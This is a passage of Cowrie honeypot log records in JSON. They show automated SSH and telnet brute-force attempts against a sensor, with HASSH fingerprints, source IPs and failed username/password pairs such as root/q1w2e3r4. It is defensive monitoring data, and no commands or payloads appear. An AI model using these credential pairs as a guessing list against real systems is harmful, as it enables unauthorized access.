openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:21.735345Z","src_ip":"45.156.87.253","session":"ead74931e261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:21.982214Z","src_ip":"45.156.87.253","session":"ead74931e261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:22.097517Z","src_ip":"115.160.92.142","session":"9c54ad1d9017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:23.066478Z","src_ip":"45.156.87.253","session":"ead74931e261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":36972,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d2db42a7f6","protocol":"ssh","message":"New connection: 162.241.33.238:36972 (10.17.0.5:22) [session: 66d2db42a7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:23.224930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:23.228939Z","src_ip":"162.241.33.238","session":"66d2db42a7f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:23.255676Z","src_ip":"162.241.33.238","session":"66d2db42a7f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ledgerwallet","password":"ledger123","message":"login attempt [ledgerwallet/ledger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:23.338453Z","src_ip":"162.241.33.238","session":"66d2db42a7f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:24.368041Z","src_ip":"162.241.33.238","session":"66d2db42a7f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34250,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f9ff59006b9","protocol":"ssh","message":"New connection: 45.156.87.253:34250 (10.17.0.5:22) [session: 0f9ff59006b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:24.672626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:24.679701Z","src_ip":"45.156.87.253","session":"0f9ff59006b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:24.760460Z","src_ip":"45.156.87.253","session":"0f9ff59006b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:25.100649Z","src_ip":"45.156.87.253","session":"0f9ff59006b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:26.184090Z","src_ip":"45.156.87.253","session":"0f9ff59006b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34254,"dst_ip":"10.17.0.5","dst_port":22,"session":"faa3bb98110d","protocol":"ssh","message":"New connection: 45.156.87.253:34254 (10.17.0.5:22) [session: faa3bb98110d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:27.610374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:27.614427Z","src_ip":"45.156.87.253","session":"faa3bb98110d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:27.694927Z","src_ip":"45.156.87.253","session":"faa3bb98110d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:27.950762Z","src_ip":"45.156.87.253","session":"faa3bb98110d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:29.033560Z","src_ip":"45.156.87.253","session":"faa3bb98110d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42020,"dst_ip":"10.17.0.5","dst_port":22,"session":"c88a4f1b7fd2","protocol":"ssh","message":"New connection: 45.156.87.253:42020 (10.17.0.5:22) [session: c88a4f1b7fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:30.483910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:30.487845Z","src_ip":"45.156.87.253","session":"c88a4f1b7fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:30.570850Z","src_ip":"45.156.87.253","session":"c88a4f1b7fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1234","message":"login attempt [devops/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:30.813550Z","src_ip":"45.156.87.253","session":"c88a4f1b7fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:31.896032Z","src_ip":"45.156.87.253","session":"c88a4f1b7fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42036,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b2946feda7","protocol":"ssh","message":"New connection: 45.156.87.253:42036 (10.17.0.5:22) [session: b8b2946feda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:33.407094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:33.410971Z","src_ip":"45.156.87.253","session":"b8b2946feda7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:33.492491Z","src_ip":"45.156.87.253","session":"b8b2946feda7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:33.740186Z","src_ip":"45.156.87.253","session":"b8b2946feda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:34.825644Z","src_ip":"45.156.87.253","session":"b8b2946feda7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42048,"dst_ip":"10.17.0.5","dst_port":22,"session":"b300d0af87a7","protocol":"ssh","message":"New connection: 45.156.87.253:42048 (10.17.0.5:22) [session: b300d0af87a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:36.298210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:36.302595Z","src_ip":"45.156.87.253","session":"b300d0af87a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:36.387335Z","src_ip":"45.156.87.253","session":"b300d0af87a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:36.631372Z","src_ip":"45.156.87.253","session":"b300d0af87a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:37.714820Z","src_ip":"45.156.87.253","session":"b300d0af87a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47398,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf2bbcfb33a","protocol":"ssh","message":"New connection: 45.156.87.253:47398 (10.17.0.5:22) [session: 6cf2bbcfb33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:39.277344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:39.331940Z","src_ip":"45.156.87.253","session":"6cf2bbcfb33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:39.361519Z","src_ip":"45.156.87.253","session":"6cf2bbcfb33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redhat","password":"redhat","message":"login attempt [redhat/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:39.675661Z","src_ip":"45.156.87.253","session":"6cf2bbcfb33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":38466,"dst_ip":"159.203.135.109","dst_port":22,"session":"eecbbf8d7ff7","protocol":"ssh","message":"New connection: 103.122.221.179:38466 (159.203.135.109:22) [session: eecbbf8d7ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:40.018088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:40.021794Z","src_ip":"103.122.221.179","session":"eecbbf8d7ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:40.270905Z","src_ip":"103.122.221.179","session":"eecbbf8d7ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:40.758560Z","src_ip":"45.156.87.253","session":"6cf2bbcfb33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260880","message":"login attempt [root/260880] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:41.019694Z","src_ip":"103.122.221.179","session":"eecbbf8d7ff7","protocol":"ssh"}
